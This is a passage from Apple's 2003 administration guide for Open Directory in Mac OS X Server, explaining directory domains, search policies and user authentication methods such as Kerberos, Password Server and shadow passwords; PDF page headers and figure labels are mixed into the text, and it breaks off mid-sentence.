LL2352.Book Page 12 Friday, August 22, 2003 3:12 PM 1 13 1 Directory Service Concepts A directory service provides a central repository for information about computer users and network resources in an organization. Storing administrative data in a central repository has many benefits: • Reduces data entry effort. • Ensures all network services and clients have consistent information about users and resources. • Simplifies administration of users and resources. • Provides identification, authentication, and authorization services for other network services. In education and enterprise environments, directory services are the ideal way to manage users and computing resources. Organizations with as few as 10 people can benefit by deploying a directory service. Directory services can be doubly beneficial. They centralize system and network administration, and they simplify a user’s experience on the network. With directory services, information about all the users—such as their names, passwords, and locations of network home directories—can be maintained centrally rather than on each computer individually. Directory services can also maintain centralized information about printers, computers, and other network resources. Having information about users and resources centralized can reduce the system administrator’s user management burden. In addition, users can log in to any authorized computer on the network. Anywhere a user logs in, the user can get the same home directory, and with it the user’s personal desktop appears, customized for the user’s individual preferences. The user always has access to personal files and can easily locate and use authorized network resources. LL2352.Book Page 13 Friday, August 22, 2003 3:12 PM 14 Chapter 1 Directory Service Concepts Apple has built an open, extensible directory services architecture, called Open Directory, into Mac OS X and Mac OS X Server. A Mac OS X client or Mac OS X Server computer can use Open Directory to retrieve authoritative information about users and network resources from a variety of directory services: • LDAP service on a Mac OS X Server system • NetInfo service on a computer with Mac OS X or Mac OS X Server • Active Directory service on a Microsoft Windows server • OpenLDAP or other LDAP service on a third-party server such as Sun One or Novell eDirectory • NIS on a UNIX server • BSD configuration files stored locally (not retrieved from a server) Mac OS 9 and Mac OS 8 managed clients also use Open Directory to retrieve some user information. For more information, see the Macintosh Manager chapter in the user management guide (available at www.apple.com/server/documentation/). In addition, Mac OS X and Mac OS X Server can use Open Directory to discover network services, such as file servers, that make themselves known with the Rendezvous, AppleTalk, SLP, or SMB service discovery protocols. The Open Directory architecture also includes authentication service. Open Directory can securely store and validate the passwords of users who want to log in to client computers on your network or use other network resources that require authentication. Open Directory can also enforce such policies as password expiration and minimum length. Open Directory can also authenticate Windows computer users for domain login, file service, print service, and other Windows services provided by Mac OS X Server. LL2352.Book Page 14 Friday, August 22, 2003 3:12 PM Chapter 1 Directory Service Concepts 15 Directory Services and Directory Domains A directory service acts as an intermediary between application and system software processes, which need information about users and resources, and the directory domains that store the information. In Mac OS X and Mac OS X Server, Open Directory provides directory services. Open Directory can access information in one directory domain or several directory domains. A directory domain stores information in a specialized database that is optimized to handle a great many requests for information and to find and retrieve information quickly. Processes running on Mac OS X computers can use the Open Directory services to save information in directory domains. For example, when you create a user account with Workgroup Manager, it has Open Directory store user name and other account information in a directory domain. Of course you can then review user account information with Workgroup Manager, and it has Open Directory retrieve the user information from a directory domain. Printers Groups Computers Users Application and system software processes Mounts Directory domains Open Directory LL2352.Book Page 15 Friday, August 22, 2003 3:12 PM 16 Chapter 1 Directory Service Concepts Other application and system software processes can also use the user account information stored in directory domains. When someone attempts to log in to a Mac OS X computer, the login process uses Open Directory services to validate the user name and password. A Historical Perspective Like Mac OS X, Open Directory has a UNIX heritage. Open Directory provides access to administrative data that UNIX systems have generally kept in configuration files, which require much painstaking work to maintain. (Some UNIX systems still rely on configuration files.) Open Directory consolidates the data and distributes it for ease of access and maintenance. Directory domain WorkGroup Manager Open Directory LL2352.Book Page 16 Friday, August 22, 2003 3:12 PM Chapter 1 Directory Service Concepts 17 Data Consolidation For years, UNIX systems have stored administrative information in a collection of files located in the /etc directory. This scheme requires each UNIX computer to have its own set of files, and processes that are running on a UNIX computer read its files when they need administrative information. If you’re experienced with UNIX, you probably know about the files in the /etc directory—group, hosts, hosts.eq, master.passwd, and so forth. For example, a UNIX process that needs a user’s password consults the /etc/ master.passwd file. The /etc/master.passwd file contains a record for each user account. A UNIX process that needs group information consults the /etc/group file. Open Directory consolidates administrative information, simplifying the interactions between processes and the administrative data they create and use. UNIX processes /etc/master.passwd /etc/hosts /etc/group Mac OS X processes Open Directory LL2352.Book Page 17 Friday, August 22, 2003 3:12 PM 18 Chapter 1 Directory Service Concepts Processes no longer need to know how and where administrative data is stored. Open Directory gets the data for them. If a process needs the location of a user’s home directory, the process simply has Open Directory retrieve the information. Open Directory finds the requested information and then returns it, insulating the process from the details of how the information is stored. If you set up Open Directory to access administrative data in several directory domains, Open Directory automatically consults them as needed. Some of the data stored in a directory domain is identical to data stored in UNIX configuration files. For example, the crypt password, home directory location, real name, user ID, and group ID—all stored in the user records of a directory domain— have corresponding entries in the standard /etc/passwd file. However, a directory domain stores much additional data to support functions that are unique to Mac OS X, such as support for managing Mac OS X client computers. Data Distribution Another characteristic of UNIX configuration files is that the administrative data they contain is available only to the computer on which they are stored. Each computer has its own UNIX configuration files. With UNIX configuration files, each computer that someone wants to use must have that person’s user account settings stored on it, and each computer must store the account settings for every person who can use the computer. To set up a computer’s network settings, the administrator needs to go to the computer and directly enter the IP address and other information that identifies the computer on the network. Similarly, when user or network information needs to be changed in UNIX configuration files, the administrator must make the changes on the computer where the files reside. Some changes, such as network settings, require the administrator to make the same changes on multiple computers. This approach becomes unwieldy as networks grow in size and complexity. Directory domain Mac OS X processes Directory domain Open Directory LL2352.Book Page 18 Friday, August 22, 2003 3:12 PM Chapter 1 Directory Service Concepts 19 Open Directory solves this problem by letting you store administrative data in a directory domain that can be managed by a network administrator from one location. Open Directory lets you distribute the information so that it is visible on a network to the computers that need it and the administrator who manages it. Uses of Directory Data Open Directory makes it possible to consolidate and maintain network information easily in a directory domain, but this information has value only if application and system software processes running on network computers actually access the information. Here are some of the ways in which Mac OS X system and application software use directory data: • Login: As mentioned already, Workgroup Manager can create user records in a directory domain, and these records can be used to authenticate users who log in to Mac OS X computers and Windows computers. When a user specifies a name and a password in the Mac OS X login window, the login process asks Open Directory to authenticate the name and password. Open Directory uses the name to find the user’s account record in a directory domain and uses additional data in the user record to validate the password. System administrator Users Directory domain Open Directory LL2352.Book Page 19 Friday, August 22, 2003 3:12 PM 20 Chapter 1 Directory Service Concepts • Folder and file access: After logging in successfully, a user can access files and folders. Mac OS X uses another data item from the user record—the user ID (UID)— to determine the user’s access privileges for a file or folder that the user wants to access. When a user accesses a folder or file, the file system compares this user’s UID to the UID assigned to the folder or file. If the UIDs are the same, the file system grants owner privileges (usually read and write privileges) to the user. If the UIDs are different, the user doesn’t get owner privileges. • Home directories: Each user record in a directory domain stores the location of the user’s home directory, which is also known as the user’s home folder. This is where the user keeps personal files, folders, and preferences. A user’s home directory can be located on a particular computer that the user always uses or on a network file server. • Automount share points: Share points can be configured to automount (appear automatically) in the /Network folder (the Network globe) in the Finder windows of client computers. Information about these automount share points is stored in a directory domain. Share points are folders, disks, or disk partitions that you have made accessible over the network. • Mail account settings: Each user’s record in a directory domain specifies whether the user has mail service, which mail protocols to use, how to present incoming mail, whether to alert the user when mail arrives, and more. • Resource usage: Disk, print, and mail quotas can be stored in each user record of a directory domain. • Managed client information: The administrator can manage the Mac OS X environment of users whose account records are stored in a directory domain. The administrator makes mandatory preference settings that are stored in the directory domain and override users’ personal preferences. • Group management: In addition to user records, a directory domain also stores group records. Each group record affects all users who are in the group. Information in group records specifies preferences settings for group members. Group records also determine access to files, folders, and computers. LL2352.Book Page 20 Friday, August 22, 2003 3:12 PM Chapter 1 Directory Service Concepts 21 Inside a Directory Domain Information in a directory domain is organized into record types, which are specific categories of records, such as users, computers, and mounts. For each record type, a directory domain may contain any number of records. Each record is a collection of attributes, and each attribute has one or more values. If you think of each record type as a spreadsheet that contains a category of information, then records are like the rows of the spreadsheet, attributes are like spreadsheet columns, and each spreadsheet cell contains one or more values. For example, when you define a user by using Workgroup Manager, you are creating a user record (a record of the user’s record type). The settings that you configure for the user—short name, full name, home directory location, and so on—become values of attributes in the user record. The user record and the values of its attributes reside in a directory domain. In some directory services, such as LDAP and Active Directory, record types are called object classes or simply classes, and records are called objects. Each class (record type) is a set of rules that define similar objects (records) by specifying certain attributes that each object must have and certain other attributes that each object may have. For example, the inetOrgPerson class defines objects that contain user attributes. The inetOrgPerson class is a standard LDAP class defined by RFC 2798. Other standard LDAP classes and attributes are defined by RFC 2307. A collection of attributes and record types or object classes provides a blueprint for the information in a directory domain. This blueprint is called the schema of the directory domain. Local and Shared Directory Domains Where you store your server’s user information and other administrative data is determined by whether the data needs to be shared. This information may be stored in the server’s local directory domain or in a shared directory domain. About the Local Directory Domain Every Mac OS X computer has a local directory domain. A local domain’s administrative data is visible only to applications and system software running on the computer where the domain resides. It is the first domain consulted when a user logs in or performs some other operation that requires data stored in a directory domain. When the user logs in to a Mac OS X computer, Open Directory searches the computer’s local directory domain for the user’s record. If the local directory domain contains the user’s record (and the user typed the correct password), the login process proceeds and the user gets access to the computer. LL2352.Book Page 21 Friday, August 22, 2003 3:12 PM 22 Chapter 1 Directory Service Concepts After login, the user could choose “Connect to Server” from the Go menu and connect to Mac OS X Server for file service. In this case, Open Directory on the server searches for the user’s record in the server’s local directory domain. If the server’s local directory domain has a record for the user (and the user types the correct password), the server grants the user access to the file services. When you first set up a Mac OS X computer, its local directory domain is automatically created and populated with records. For example, a user record is created for the user who performed the installation. It contains the user name and password entered during setup, as well as other information, such as a unique ID for the user and the location of the user’s home directory. About Shared Directory Domains While Open Directory on any Mac OS X computer can store administrative data in the computer’s local directory domain, the real power of Open Directory is that it lets multiple Mac OS X computers share administrative data by storing the data in shared directory domains. When a computer is configured to use a shared domain, any administrative data in the shared domain is also visible to applications and system software running on that computer. If Open Directory does not find a user’s record in the local domain of a Mac OS X computer, Open Directory can search for the user’s record in any shared domains to which the computer has access. In the following example, the user can access both computers because the shared domain accessible from both computers contains a record for the user. Local directory domain Local directory domain Log in to Mac OS X Connect to Mac OS X Server for file service Shared directory domain Local directory domain Local directory domain Log in to Mac OS X Connect to Mac OS X Server for file service LL2352.Book Page 22 Friday, August 22, 2003 3:12 PM Chapter 1 Directory Service Concepts 23 Shared domains generally reside on servers because directory domains store extremely important data, such as the data for authenticating users. Access to servers is usually tightly restricted to protect the data on them. In addition, directory data must always be available. Servers often have extra hardware features that enhance their reliability, and servers can be connected to uninterruptible power sources. Shared directories can also be used to isolate network resources from some users. For example, graphic artists in a company might need to work on high-performance computers, while copy center personnel can work on computers with standard equipment. You could restrict access to the two kinds of computers by setting up user records in two shared directory domains. One shared domain would contain records for users who work on the high-performance computers. The other shared domain would contain records for users who work on the standard computers. Rather than configuring user access on each computer individually, you would use Workgroup Manager to create all the user records in the two shared domains: Graphics and Repro. When users log in to high-performance computers, user records in the Graphics directory domain will be used to authenticate them. Likewise when users log in to standard computers, user records in the Repro directory domain will be used to authenticate them. A user whose record is in the Repro directory can’t log in to a high- performance computer. A user whose record in the Graphics directory domain can’t log in to a standard computer. Repro directory domain Graphics directory domain Graphic artists Copy center personnel LL2352.Book Page 23 Friday, August 22, 2003 3:12 PM 24 Chapter 1 Directory Service Concepts If you wanted some users to be able to log in to any computer, you could create their user records in another shared directory domain that all computers can access. Shared Data in Existing Directory Domains Some organizations—such as universities and worldwide corporations—maintain user information and other administrative data in directory domains on UNIX or Windows servers. Open Directory can be configured to search these non-Apple domains as well as shared Open Directory domains of Mac OS X Server systems. Repro directory domain Company directory domain Graphics directory domain Graphic artists Copy center personnel Mac OS 9 user Mac OS X user Windows user Local directory Mac OS X Server Shared directory Windows server Local directory Active Directory domain LL2352.Book Page 24 Friday, August 22, 2003 3:12 PM Chapter 1 Directory Service Concepts 25 The order in which Mac OS X searches directory domains is configurable. A search policy determines the order in which Mac OS X searches directory domains. The next chapter discusses search policies. Access to Directory Services Open Directory can access directory domains in the following kinds of directory services: • Lightweight Directory Access Protocol (LDAP), an open standard commonly used in mixed environments and the native directory service for shared directories in Mac OS X Server version 10.3 • NetInfo, the legacy directory service of Mac OS X and Mac OS X Server • Active Directory, the directory service of Microsoft Windows 2000 and 2003 servers • Network Information System (NIS), a directory service of many UNIX servers • BSD flat files, the legacy directory service of UNIX systems Discovery of Network Services Open Directory can provide more than administrative data from directories. Open Directory can also provide information about services that are available on the network. For example, Open Directory can provide information about file servers that are currently available. Open Directory can discover network services that make their existence and whereabouts known. Services make themselves known by means of standard protocols. Open Directory supports the following service discovery protocols: • Rendezvous, the Apple protocol that uses multicast DNS for discovering file, print, chat, music sharing, and other network services • AppleTalk, the legacy protocol for discovering file, print, and other network services File server File server Open Directory LL2352.Book Page 25 Friday, August 22, 2003 3:12 PM 26 Chapter 1 Directory Service Concepts • Service Location Protocol (SLP), an open standard for discovering file and print services • Server Message Block (SMB), the protocol used by Microsoft Windows for file, print, and other services In fact, Open Directory can provide information about network services both from service discovery protocols and from directory domains. To accomplish this, Open Directory simply asks all its sources of information for the type of information requested by a Mac OS X process. The sources that have the requested type of information provide it to Open Directory, which collects all the provided information and hands it over to the Mac OS X process that requested it. For example, if Open Directory requests information about file servers, the file servers on the network respond via service discovery protocols with their information. A directory domain that contains relatively static information about some file servers also responds to the request. Open Directory collects the information from the service discovery protocols and the directory domains. When Open Directory requests information about a user, service discovery protocols don’t respond because they don’t have user information. (Theoretically, AppleTalk, Rendezvous, SMB, and SLP could provide user information, but in practice they don’t have any user information to provide.) The user information that Open Directory collects comes from whatever sources have it—from directory domains. File server File server Directory domain Open Directory LL2352Ov Page 26 Friday, August 22, 2003 3:23 PM 2 27 2 Open Directory Search Policies Each computer has a search policy that specifies one or more directory domains and the sequence in which Open Directory searches them. Every Mac OS X computer has a local directory domain and can also access shared directory domains. Nothing prevents the directory domains from having interchangeable records. For example, two directory domains could have user records with the same name but other differences. Therefore, each Mac OS X computer needs a policy for resolving potential conflicts between equivalent but not identical records. Each Mac OS X computer has a search policy that specifies which directory domains Open Directory can access, such as the computer’s local directory and a particular shared directory. The search policy also specifies the order in which Open Directory accesses directory domains. Open Directory searches each directory domain in turn and stops searching when it finds a match. For example, Open Directory stops searching for a user record when it finds a record whose user name matches the name it’s looking for. Search Policy Levels A search policy can include the local directory alone, the local directory and a shared directory, or the local directory and multiple shared directories. On a network with a shared directory, several computers generally access the shared directory. This arrangement can be depicted as a tree-like structure with the shared directory at the top and local directories at the bottom. LL2352.Book Page 27 Friday, August 22, 2003 3:12 PM 28 Chapter 2 Open Directory Search Policies Local Directory Search Policy The simplest search policy consists only of a computer’s local directory. In this case, Open Directory looks for user information and other administrative data only in the local directory domain of each computer. If a server on the network hosts a shared directory, Open Directory does not look there for user information or administrative data because the shared directory is not part of the computer’s search policy. Two-Level Search Policies If one of the servers on the network hosts a shared directory, all the computers on the network can include the shared directory in their search policies. In this case, Open Directory looks for user information and other administrative data first in the local directory. If Open Directory doesn’t find the information it needs in the local directory, it looks in the shared directory. Here’s a scenario in which a two-level search policy might be used: Local directory domain Local directory domain 1 Search Policy Local directory domain Local directory domain Shared directory domain 1 2 Search Policy English class computer Math class computer Science class computer Local directory domain Local directory domain Local directory domain Shared directory domain 1 2 Search Policy LL2352.Book Page 28 Friday, August 22, 2003 3:12 PM Chapter 2 Open Directory Search Policies 29 Each class (English, math, science) has its own computer. The students in each class are defined as users in the local domain of that class’s computer. All three of these local domains have the same shared domain, in which all the instructors are defined. Instructors, as members of the shared domain, can log in to all the class computers. The students in each local domain can log in to only the computer where their local account resides. While local domains reside on their respective computers, a shared domain resides on a server accessible from the local domain’s computer. When an instructor logs in to any of the three class computers and cannot be found in the local domain, Open Directory searches the shared domain. In this example, there is only one shared domain, but in more complex networks, there may be more shared domains. Multilevel Search Policies If more than one server on the network hosts a shared directory, the computers on the network can include two or more shared directories in their search policies. As with simpler search policies, Open Directory always looks for user information and other administrative data first in the local directory. If Open Directory does not find the information it needs in the local directory, it searches each shared directory in the sequence specified by the search policy. School Mac OS X Server English class computer Math class computer Shared directory Science class computer Local directory Local directory Local directory Local directory LL2352.Book Page 29 Friday, August 22, 2003 3:12 PM 30 Chapter 2 Open Directory Search Policies Here’s a scenario in which more than one shared directory might be used: Each class (English, math, science) has a server that hosts a shared directory domain. Each classroom computer’s search policy specifies the computer’s local domain, the class’s shared domain, and the school’s shared domain. The students in each class are defined as users in the shared domain of that class’s server, allowing them to log in to any computer in the class. The instructors are defined in the shared domain of the school server, allowing them to log in to any classroom computer. You can affect an entire network or just a group of computers by choosing the domain in which to define administrative data. The higher the administrative data resides in a search policy, the fewer places it needs to be changed as users and system resources change. Probably the most important aspect of directory services for administrators is planning directory domains and search policies. These should reflect the resources you want to share, the users you want to share them among, and even the way you want to manage your directory data. Automatic Search Policies Initially, Mac OS X computers are configured to set their search policies automatically. An automatic search policy consists of three parts, two of which are optional: • Local directory domain • Shared NetInfo domains (optional) • Shared LDAP directory (optional) A computer’s automatic search policy always begins with the computer’s local directory domain. If a Mac OS X computer is not connected to a network, the computer searches only its local directory domain for user accounts and other administrative data. School directory domain Science directory domain Math directory domain English directory domain 1 2 3 Search Policy LL2352.Book Page 30 Friday, August 22, 2003 3:12 PM Chapter 2 Open Directory Search Policies 31 Next the automatic search policy looks at the binding of shared NetInfo domains. The computer’s local domain can be bound to a shared NetInfo domain, which can in turn be bound to another shared NetInfo domain, and so on. The NetInfo binding, if any, constitutes the second part of the automatic search policy. See “About NetInfo Binding” on page 110 for additional information. Finally, a computer with an automatic search policy can bind to a shared LDAP directory. When the computer starts up, it can get the address of an LDAP directory server from DHCP service. The DHCP service of Mac OS X Server can supply an LDAP server address just as it supplies the addresses of DNS servers and a router. (A non- Apple DHCP service may also be able to supply an LDAP server address; this feature is known as DHCP option 95.) If you want the DHCP service of Mac OS X Server to supply its clients with a particular LDAP server’s address for their automatic search policies, you need to configure the LDAP options of DHCP service. For instructions, see the DHCP chapter of the network services administration guide. If you want a Mac OS X computer to get the address of an LDAP server from DHCP service: • The computer must be configured to use an automatic search policy. Mac OS X version 10.2 and later is initially configured to use an automatic search policy. See “Setting Up the Authentication and Contacts Search Policies” on page 87 for more information. • The computer’s Network preferences must be configured to use DHCP or DHCP with manual IP address. Mac OS X is initially configured to use DHCP. For information on setting Network preferences, search Mac Help. An automatic search policy offers convenience and flexibility and is the recommended option, especially for mobile computers. If a computer with an automatic search policy is disconnected from the network, connected to a different network, or moved to a different subnet, the automatic search policy can change. If the computer is disconnected from the network, it uses its local directory domain. If the computer is connected to a different network or subnet, it can automatically change its NetInfo binding and can get an LDAP server address from the DHCP service on the current subnet. With an automatic search policy, a computer doesn’t have to be reconfigured to get directory and authentication services in its new location. LL2352.Book Page 31 Friday, August 22, 2003 3:12 PM 32 Chapter 2 Open Directory Search Policies Custom Search Policies If you don’t want a Mac OS X computer to use the automatic search policy supplied by DHCP, you can define a custom search policy for the computer. For example, a custom search policy could specify that an Active Directory domain be consulted when a user record or other administrative data cannot be found in other directory domains. A custom search policy may not work in multiple network locations because it relies on the availability of specific directory domains. Therefore a custom search policy is usually not the best choice for a mobile computer. An automatic or local-only search policy is generally more reliable for a mobile computer. Search Policies for Authentication and Contacts A Mac OS X computer actually has more than one search policy. It has a search policy for finding authentication information, and it has a separate search policy for finding contact information. Open Directory uses the authentication search policy to locate and retrieve user authentication information and other administrative data from directory domains. Open Directory uses the contacts search policy to locate and retrieve name, address, and other contact information from directory domains. Mac OS X Address Book uses this contact information, and other applications can be programmed to use it as well. Each search policy can be automatic, custom, or local directory only. Active Directory domain 1 2 3 4 Search Policy School directory domain Science directory domain Math directory domain English directory domain LL2352.Book Page 32 Friday, August 22, 2003 3:12 PM 3 33 3 User Authentication With Open Directory Open Directory offers a variety of options for authenticating users whose accounts are stored in directory domains on Mac OS X Server, including Kerberos and the many authentication methods that network services require. Open Directory can authenticate users by: • Using single signon with the Kerberos KDC built into Mac OS X Server • Using a password stored securely in the Open Directory Password Server database • Using a shadow password stored as several hashes, including NT and LAN Manager, in a file that only the root user can access • Using a crypt password stored directly in the user’s account, for backward compatibility with legacy systems • Using a non-Apple LDAP server for LDAP bind authentication In addition, Open Directory lets you set up specific password policies for each user, such as automatic password expiration and minimum password length. (Password policies do not apply to shadow passwords, crypt passwords, or LDAP bind authentication.) This chapter describes the authentication options available in Mac OS X Server. Authentication and Authorization Services such as the login window and Apple file service request user authentication from Open Directory. Authentication is part of the process by which a service determines whether it should grant a user access to a resource. Usually this process also requires authorization. Authentication proves a user’s identity, and authorization determines what the authenticated user is allowed to do. A user typically authenticates by providing a valid name and password. A service can then authorize the authenticated user to access specific resources. For example, file service authorizes full access to folders and files that an authenticated user owns. LL2352.Book Page 33 Friday, August 22, 2003 3:12 PM 34 Chapter 3 User Authentication With Open Directory You experience authentication and authorization when you use a credit card. The merchant authenticates you by comparing your signature on the sales slip to the signature on your credit card. Then the merchant submits your authorized credit card account number to the bank, which authorizes payment based on your account balance and credit limit. Open Directory authenticates user accounts, but does not authorize access to any services. After Open Directory authenticates you, the login window can authorize you to log in, file service can authorize access to certain folders and files, mail service can authorize access to your email, and so on. Determining Which Authentication Option to Use To authenticate a user, Open Directory first must determine which authentication option to use—Kerberos, Open Directory Password Server, shadow password, crypt password, or LDAP bind. The user’s account contains information that specifies which authentication option to use. This information is called the authentication authority attribute. Therefore Open Directory uses the name provided by the user to locate the user’s account in the directory domain. Then Open Directory consults the authentication authority attribute in the user’s account and learns which authentication option to use. The authentication authority attribute is not limited to specifying a single authentication option. For example, an authentication authority attribute could specify that a user can be authenticated by Kerberos and Open Directory Password Server. Nor must a user’s account contain an authentication authority attribute at all. If a user’s account contains no authentication authority attribute, Mac OS X Server assumes a crypt password is stored in the user’s account. For example, user accounts created using Mac OS X version 10.1 and earlier contain a crypt password but not an authentication authority attribute. You can change a user’s authentication authority attribute by changing the password type in the Advanced pane of Workgroup Manager. Some password type settings result in the authentication authority attribute specifying more than one authentication option. See Chapter 6, “Managing User Authentication,” for instructions on setting the password type. LL2352.Book Page 34 Friday, August 22, 2003 3:12 PM Chapter 3 User Authentication With Open Directory 35 Open Directory Authentication When a user’s account has a password type of Open Directory, the user can be authenticated by Kerberos or the Open Directory Password Server. Neither Kerberos nor Open Directory Password Server stores the password in the user’s account. Both Kerberos and Open Directory Password Server store passwords outside the directory domain and never allow passwords to be read. Passwords can only be set and verified. Malicious users might attempt to log in over the network hoping to gain access to Kerberos and Open Directory Password Server. The Open Directory logs can alert you to unsuccessful login attempts. (See “Viewing Open Directory Status and Logs” on page 115.) Password Policies Both Kerberos and Open Directory Password Server enforce password policies. For example, a user’s password policy can specify a password expiration interval. If the user is logging in and Open Directory discovers the user’s password has expired, the user must replace the expired password. Then Open Directory can authenticate the user. Password policies can disable a user account on a certain date, after a number of days, after a period of inactivity, or after a number of failed login attempts. Password policies can also require passwords to be a minimum length, contain at least one letter, contain at least one numeral, differ from the account name, differ from recent passwords, or be changed periodically. Open DIrectory applies the same password policy rules to Open Directory Password Server and Kerberos, except that Kerberos does not support all the rules. Password policies do not affect administrator accounts. Administrators are exempt from password policies because they can change the policies at will. In addition, enforcing password policies on administrators would subject them to denial-of-service attacks. Which Users Can Have Open Directory Passwords All user accounts stored on a server with Mac OS X Server version 10.3 can be configured to have a password type of Open Directory. User accounts in the server’s local directory domain can be configured to have a password type of Open Directory. If this server hosts a shared directory domain, user accounts in it can also be configured to have a password type of Open Directory. Users who need to log in using the login window of Mac OS X version 10.1 or earlier must be configured to use crypt passwords. The password type doesn’t matter for other services. For example, a user could authenticate for Apple file service with an Open Directory password. LL2352.Book Page 35 Friday, August 22, 2003 3:12 PM 36 Chapter 3 User Authentication With Open Directory Open Directory Password Server Authentication Methods The Open Directory Password Server is based on a standard known as Simple Authentication and Security Layer (SASL). It is an extensible authentication scheme that allows Open Directory Password Server to support a variety of network user authentication methods required by mail service, file services, and other services of Mac OS X Server. Each service negotiates with Open Directory Password Server for an authentication method before exchanging user credentials. The Open Directory Password Server supports authentication methods that do not require a clear text password be stored in the Open Directory Password Server database. Only encrypted passwords, called hashes, are stored in the database. These methods are CRAM-MD5, DHX, Digest-MD5, MS-CHAPv2, SMB-NT, and SMB-LAN Manager. No one—including an administrator and the root user—can recover encrypted passwords by reading them from the database. An administrator can use Workgroup Manager to set a user’s password, but can’t read any user’s password. In addition, Open Directory Password Server supports authentication methods that may require a clear text password be stored in the authentication database. These methods are APOP and WebDAV-Digest. Note: If you connect Mac OS X Server version 10.3 or later to a directory domain of Mac OS X Server version 10.2 or earlier, be aware that users defined in the older directory domain cannot be authenticated with the MS-CHAPv2 method. This method may be required to securely authenticate users for the VPN service of Mac OS X Server version 10.3 and later. Open Directory Password Server in Mac OS X Server version 10.3 supports MS-CHAPv2 authentication, but Password Server in Mac OS X Server version 10.2 does not support MS-CHAPv2. Contents of Open Directory Password Server Database Open Directory Password Server maintains an authentication database separate from the Mac OS X Server directory domain. Open Directory tightly restricts access to the authentication database, whereas anyone on the network can access the directory domain. Open Directory Password Server maintains a record in its authentication database for each user account that has a password type of Open Directory. An authentication record includes the following: • The user’s password ID is a 128-bit value assigned when the password is created. It is also stored in the user’s record in the directory domain and is used as a key for finding a user’s record in the Open Directory Password Server database. LL2352.Book Page 36 Friday, August 22, 2003 3:12 PM Chapter 3 User Authentication With Open Directory 37 • The password is stored in recoverable (clear text) or hashed (encrypted) form. The form depends on the authentication method. A recoverable password is stored for the APOP and WebDAV authentication methods. For all other methods, the record stores a hashed (encrypted) password. If no authentication method requiring a clear text password is enabled, the Open Directory authentication database stores only hashes of passwords. • The user’s short name, for use in log messages viewable in Server Admin. • Password policy data. Kerberos Authentication Kerberos is a network authentication protocol developed at MIT to provide secure authentication and communication over open networks. In addition, Kerberos enables single signon authentication (see “Single Signon” on page 39). Mac OS X and Mac OS X Server versions 10.2 and later support Kerberos v5. If your network already has a Kerberos Key Distribution Center (KDC), you can set up your Mac OS X computers to use it for authentication. If a server with Mac OS X Server version 10.3 has a shared LDAP directory, the server also has a Kerberos KDC built in. This KDC can authenticate all users whose accounts are stored in a directory domain on the server and whose password type is Open Directory. The built-in KDC requires minimal setup. Computers with Mac OS X version 10.3 and later require minimal setup to use the Mac OS X Server KDC for authentication of user accounts stored on the server. Kerberized Services Kerberos can authenticate users for the following services of Mac OS X Server: • Login window • Mail service • FTP • AFP service • SSH These services have been “Kerberized.” Only services that have been Kerberized can use Kerberos to authenticate a user. Kerberos Principals and Realms Kerberized services are configured to authenticate principals who are known to a particular Kerberos realm. You can think of a realm as a particular Kerberos database or authentication domain, which contains validation data for users, services, and sometimes servers, which are all known as principals. For example, a realm contains principals’ secret keys, which are the result of a one-way function applied to passwords. Service principals are generally based on randomly generated secrets rather than passwords. LL2352.Book Page 37 Friday, August 22, 2003 3:12 PM 38 Chapter 3 User Authentication With Open Directory Here are examples of realm and principal names; note that realm names are capitalized by convention to distinguish them from DNS domain names: • Realm: MYREALM.EXAMPLE.COM • User principal: smitty@MYREALM.EXAMPLE.COM • Service principal: afpserver/somehost.example.com@MYREALM.EXAMPLE.COM Kerberos Authentication Process There are several phases to Kerberos authentication. In the first phase, the client obtains credentials to be used to request access to Kerberized services. In the second phase, the client requests authentication for a specific service. In the final phase, the client presents those credentials to the service. The following illustration summarizes these activities. Note that the service and the client in this picture may be the same entity (such as the login window) or two different entities (such as a mail client and the mail server). 1 The client authenticates to a Kerberos KDC, which interacts with realms to access authentication data. This is the only step in which passwords and associated password policy information needs to be checked. 2 The KDC issues the client a ticket-granting ticket, the credential needed when the client wants to use Kerberized services. The ticket-granting ticket is good for a configurable period of time, but can be revoked before expiration. It is cached on the client until it expires. 3 The client contacts the KDC with the ticket-granting ticket when it wants to use a particular Kerberized service. 4 The KDC issues a ticket for that service. 5 The client presents the ticket to the service. 6 The service verifies that the ticket is valid. If the ticket is valid, use of the service is granted to the client if the client is authorized to use the service. (Kerberos only authenticates clients; it does not authorize them to use services. An AFP server, for example, needs to consult a user’s account in a directory domain to obtain the UID.) The service uses information in the ticket if required to retrieve additional information about the user from a directory domain. Key Distribution Center (KDC) Kerberized service 1 2 3 4 5 6 Client LL2352.Book Page 38 Friday, August 22, 2003 3:12 PM Chapter 3 User Authentication With Open Directory 39 Note that the service does not need to know any password or password policy information. Once a ticket-granting ticket has been obtained, no password information needs to be provided. Time is very important with Kerberos. If the client and the KDC are out of sync by more than a few minutes, the client will fail to achieve authentication with the KDC. The date, time, and time zone information needs to be correct on the KDC server and clients, and they all should use the same network time service to keep their clocks in sync. For more information on Kerberos, go to the MIT Kerberos website: web.mit.edu/kerberos/www/index.html Single Signon Mac OS X Server uses Kerberos for single signon authentication, which relieves users from entering a name and password separately for every Kerberized service. With single signon, a user always enters a name and password in the login window. Thereafter, the user does not have to enter a name and password for Apple file service, mail service, or other services that use Kerberos authentication. To take advantage of the single signon feature, users and services must be configured for Kerberos authentication and use the same Kerberos Key Distribution Center (KDC) server. User accounts that reside in an LDAP directory of Mac OS X Server version 10.3 and have a password type of Open Directory use the server’s built-in KDC. These user accounts are automatically configured for Kerberos and single signon. This server’s Kerberized services also use the server’s built-in KDC and are automatically configured for single signon. Other servers require some configuration to use the Mac OS X Server KDC. Servers with Mac OS X Server version 10.3 require only minimal configuration to use the built-in KDC of another server with Mac OS X Server version 10.3. Shadow and Crypt Passwords Shadow and crypt passwords do not depend on the Kerberos or Open Directory Password Server infrastructure for password validation. Both transmit a scrambled form of a user’s password, or hash, when sending the password over the network. Both also store a scrambled form of the password, but they differ in where the password is stored. A crypt password is stored as a hash in the user account, making the password fairly easy to capture from another computer on the network. This strategy, historically called basic authentication, is most compatible with software that needs to access user records directly. For example, Mac OS X version 10.1 and earlier expects to find a crypt password stored in the user account. LL2352.Book Page 39 Friday, August 22, 2003 3:12 PM 40 Chapter 3 User Authentication With Open Directory A shadow password is stored as several hashes in a file on the same computer as the directory domain where the user account resides. Because the password is not stored in the user account, the password is not easy to capture over the network. Each user’s shadow password is stored in a different file, called a shadow password file, and these files are protected so they can be read only by the root user account. Only user accounts that are stored in a computer’s local directory can have a shadow password. User accounts that are stored in a shared directory can’t have a shadow password. A shadow password’s primary hash function is SHA-1. In addition, NT and LAN Manager hashes are stored in the shadow password file for backwards compatibility with Windows SMB file and print services. The NT and LAN Manager 